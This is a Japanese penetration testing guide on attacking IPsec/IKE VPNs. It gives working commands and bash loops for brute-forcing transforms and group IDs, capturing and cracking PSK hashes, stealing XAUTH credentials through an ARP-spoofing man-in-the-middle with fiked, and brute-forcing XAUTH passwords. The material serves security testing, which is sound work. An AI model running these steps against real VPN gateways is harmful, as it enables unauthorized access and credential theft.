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# 500/udp - IPsec/IKE VPNのペンテスト

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***

## 基本情報

IPsecは、ゲートウェイ間（LAN間）およびホスト間（リモートアクセス）エンタープライズVPNソリューションに最も一般的に使用される技術です。

**IKEはISAKMP**（Internet Security Association Key Management Protocol）の一種であり、認証と鍵交換のためのフレームワークです。IKEは、3つのフェーズを通じて2つのエンドポイント間でセキュリティアソシエーション（SA）を確立します：

- **フェーズ1：** Pre-Shared Key（PSK）または証明書を使用して2つのエンドポイント間に安全なチャネルを確立します。メインモード（3組のメッセージ）または**アグレッシブ**モードを使用できます。
- **フェーズ1.5：** これはオプションで、拡張認証フェーズと呼ばれ、接続しようとしているユーザー（ユーザー+パスワード）を認証します。
- **フェーズ2：** ESPおよびAHを使用してデータセキュリティのパラメータを交渉します。フェーズ1で使用されたものとは異なるアルゴリズムを使用できます（Perfect Forward Secrecy（PFS））。

**デフォルトポート：** 500/udp

## **nmapを使用して**サービスを発見
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **有効な変換を見つける**

IPSecの構成は、1つまたは複数の変換を受け入れるように準備できます。変換は値の組み合わせです。**各変換**には、DESまたは3DESなどの**暗号化アルゴリズム**、SHAまたはMD5などの**整合性アルゴリズム**、事前共有キーなどの**認証タイプ**、Diffie-Hellman 1または2などの鍵**配布アルゴリズム**、および28800秒などの**寿命**が含まれます。

したがって、最初に行う必要があるのは、**有効な変換を見つける**ことです。これにより、サーバーがあなたと通信できるようになります。これを行うために、**ike-scan**ツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと**8つの変換が含まれた1つの提案**を持つパケットをゲートウェイに送信します。

応答に応じて、エンドポイントに関する情報を取得できます。
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
前の応答で見ると、**AUTH**というフィールドがあり、値が**PSK**になっています。これは、VPNが事前共有キーを使用して構成されていることを意味します（これはペンテスターにとって非常に良いことです）。

**最後の行の値も非常に重要です:**

* _0 returned handshake; 0 returned notify:_ これは、対象が**IPsecゲートウェイでない**ことを意味します。
* _**1 returned handshake; 0 returned notify:**_ これは、**対象がIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案された変換のいずれかが受け入れ可能である**ことを意味します（有効な変換は出力に表示されます）。
* _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**受け入れ可能な変換がない場合に通知メッセージで応答**します（ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が必要です）。

したがって、この場合、すでに有効な変換がありますが、3番目の場合は、**有効な変換を見つけるために少しブルートフォースする必要があります:**

まず、すべての可能な変換を作成する必要があります:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
その後、ike-scanを使用してそれぞれをブルートフォース攻撃します（これには数分かかる場合があります）:
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
もし総当たり攻撃がうまくいかなかった場合、サーバーが正当な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じ総当たり攻撃を行うが、アグレッシブモードを使用してみることができます。
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
**有効な変換がエコーバックされることを期待しています**。\
同じ攻撃を**iker.py**を使用して試すことができます。\
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換を総当たりで試すこともできます。
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)

**DH Group: 14 = 2048-bit MODP** および **15 = 3072-bit** である。\
**2 = HMAC-SHA = SHA1 (この場合)**。--trans フォーマットは $Enc,$Hash,$Auth,$DH である。

Cisco は特に DH グループ 1 および 2 の回避を推奨している。論文の著者は、**国家レベルの組織が弱いグループを使用してネゴシエートされた IPsec セッションを復号化できる可能性が高い**と述べている。数億ドルを費やして事前計算を行い、弱いグループ (1,024 ビット以下) を使用するセッションのリアルタイム復号化を通じて、投資を回収する。

### サーバーのフィンガープリント

次に、ike-scan を使用してデバイスの **ベンダーを特定**できる。このツールは初期提案を送信し、リプレイを停止する。その後、サーバーから受信したメッセージと一致する応答パターンの時間差を **分析** することで、ペンテスターは VPN ゲートウェイのベンダーを正確に特定できる。さらに、一部の VPN サーバーは IKE でオプションの **Vendor ID (VID) ペイロード** を使用する。

必要に応じて有効な変換を指定する (using --trans)

IKE がベンダーを特定した場合、それを表示する。
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
これはnmapスクリプト_**ike-version**_を使用しても達成できます。

## 正しいID（グループ名）の検索

ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいID（グループ名）を持つ有効な変換が必要です。おそらく正しいグループ名はわからないため、総当たり攻撃を行う必要があります。\
そのために、2つの方法をお勧めします：

### ike-scanを使用したIDの総当たり攻撃

まず、ハッシュを収集しようとして偽のIDでリクエストを行ってみてください（"-P"）:
```bash
ike-scan -P -M -A -n fakeID <IP>
```
**ハッシュが返されない**場合、おそらくこのブルートフォースの方法が機能するでしょう。**何らかのハッシュが返される場合、これは偽のIDに対して偽のハッシュが返されるため、この方法はIDをブルートフォースするために信頼性がない**ことを意味します。たとえば、偽のハッシュが返される可能性があります（これは最新バージョンで発生します）：

![](<../.gitbook/assets/image (110).png>)

しかし、私が言ったように、ハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースしてみる必要があります。

このスクリプトは**可能なIDをブルートフォースし**、有効なハンドシェイクが返されるID（これは有効なグループ名になります）を返します。

特定の変換を発見した場合は、ike-scanコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください（正常に機能するまですべてを試す必要があります）。

[ikeforceの辞書](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)または[seclistsのもの](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)を使用して、一般的なグループ名をブルートフォースできます。
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### IDのBruteforce with Iker

[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)は**ike-scan**を使用して、可能なグループ名をBruteforceします。**ike-scan**の出力に基づいて、**有効なIDを見つけるための独自の方法**を使用します。

### IDのBruteforce with ikeforce

[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce)は、**IDをBruteforceするために使用できるツール**です。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします**（偽陽性と偽陰性が発生する可能性があるため、可能な場合はike-scanメソッドを使用することをお勧めします）。

デフォルトでは、**ikeforce**は最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用するタクティクを決定します。

* **最初の方法**は、Ciscoシステムの情報**Dead Peer Detection DPD**を**検索**して、グループ名をBruteforceすることです（この情報は、グループ名が正しい場合にのみサーバーによって再生されます）。
* 利用可能な**2番目の方法**は、**各試行に送信された応答の数をチェック**することです。正しいIDが使用されると、より多くのパケットが送信される場合があります。
* **3番目の方法**は、不正なIDに対する応答で**"INVALID-ID-INFORMATION"を検索**することです。
* 最後に、サーバーがチェックに対して何も返さない場合、**ikeforce**はサーバーをBruteforceし、正しいIDが送信されるとサーバーがいくつかのパケットで返信するかどうかをチェックします。\
明らかに、IDをBruteforceする目的は、有効なIDがある場合に**PSK**を取得することです。その後、**ID**と**PSK**を使用して、XAUTHをBruteforceする必要があります。

特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください（うまく機能するまですべてを試す必要があります）。
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```

```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### スニッフィングID

VPNクライアントとサーバー間の接続をスニッフィングすることで、クライアントIDを含む最初のアグレッシブモードパケットを平文で取得することが可能です（書籍**Network Security Assessment: Know Your Network**より）

![](<../.gitbook/assets/image (111).png>)

## ハッシュのキャプチャとクラック

最後に、**有効な変換**と**グループ名**が見つかり、**アグレッシブモードが許可されている**場合、破られる可能性のあるハッシュを簡単に取得できます：
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
ハッシュは_hash.txt_内に保存されます。

ハッシュを**クラック**するには、**psk-crack**、**john**（[**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)を使用）および**hashcat**を使用できます。
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**

ほとんどの実装では、**グループ認証を実行するためにPSKを使用したアグレッシブモードIKE**が使用され、**XAUTHが追加のユーザー認証を提供**します（Microsoft Active Directory、RADIUS、または類似のものを介して）。**IKEv2**内では、**EAPがXAUTHを置き換えてユーザーを認証**します。

### ローカルネットワークMitMによる資格情報のキャプチャ

したがって、_fiked_を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できます（IKEトラフィックを`fiked`にリダイレクトしてスニッフィングする必要があります。これはARPスプーフィングを使用して行うことができます、[詳細はこちら](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)）。FikedはVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします：
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### IPSecを使用してMitM攻撃を試み、ポート500へのすべてのトラフィックをブロックし、IPSecトンネルを確立できない場合はトラフィックがクリアで送信される可能性があります。

### ikeforceを使用してXAUTHのユーザー名とパスワードをブルートフォースする

**XAUTH**（有効なグループ名**id**と**psk**がわかっている場合）をブルートフォースするには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます：
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
この方法では、ikeforce はユーザー名:パスワードの各組み合わせを使用して接続を試みます。

1つまたは複数の有効なトランスフォームが見つかった場合は、前の手順と同様に使用してください。

## IPSEC VPN での認証

Kali では、IPsec トンネルを確立するために **VPNC** が利用されます。**プロファイル** は `/etc/vpnc/` ディレクトリに配置する必要があります。これらのプロファイルは _**vpnc**_ コマンドを使用して開始できます。

以下のコマンドと設定は、VPNC を使用して VPN 接続を設定するプロセスを示しています:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
```markdown
このセットアップでは：

- `[VPN_GATEWAY_IP]` を VPN ゲートウェイの実際の IP アドレスに置き換えます。
- `[VPN_CONNECTION_ID]` を VPN 接続の識別子に置き換えます。
- `[VPN_GROUP_SECRET]` を VPN のグループシークレットに置き換えます。
- `[VPN_USERNAME]` と `[VPN_PASSWORD]` を VPN 認証資格情報に置き換えます。
- `vpnc` が開始されるときに割り当てられるプロセス ID を `[PID]` で示します。

VPN を構成する際には、プレースホルダーを実際で安全な値で置き換えることを確認してください。

## 参考資料

* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3rd Edition

## Shodan

* `port:500 IKE`

<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>

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</details>
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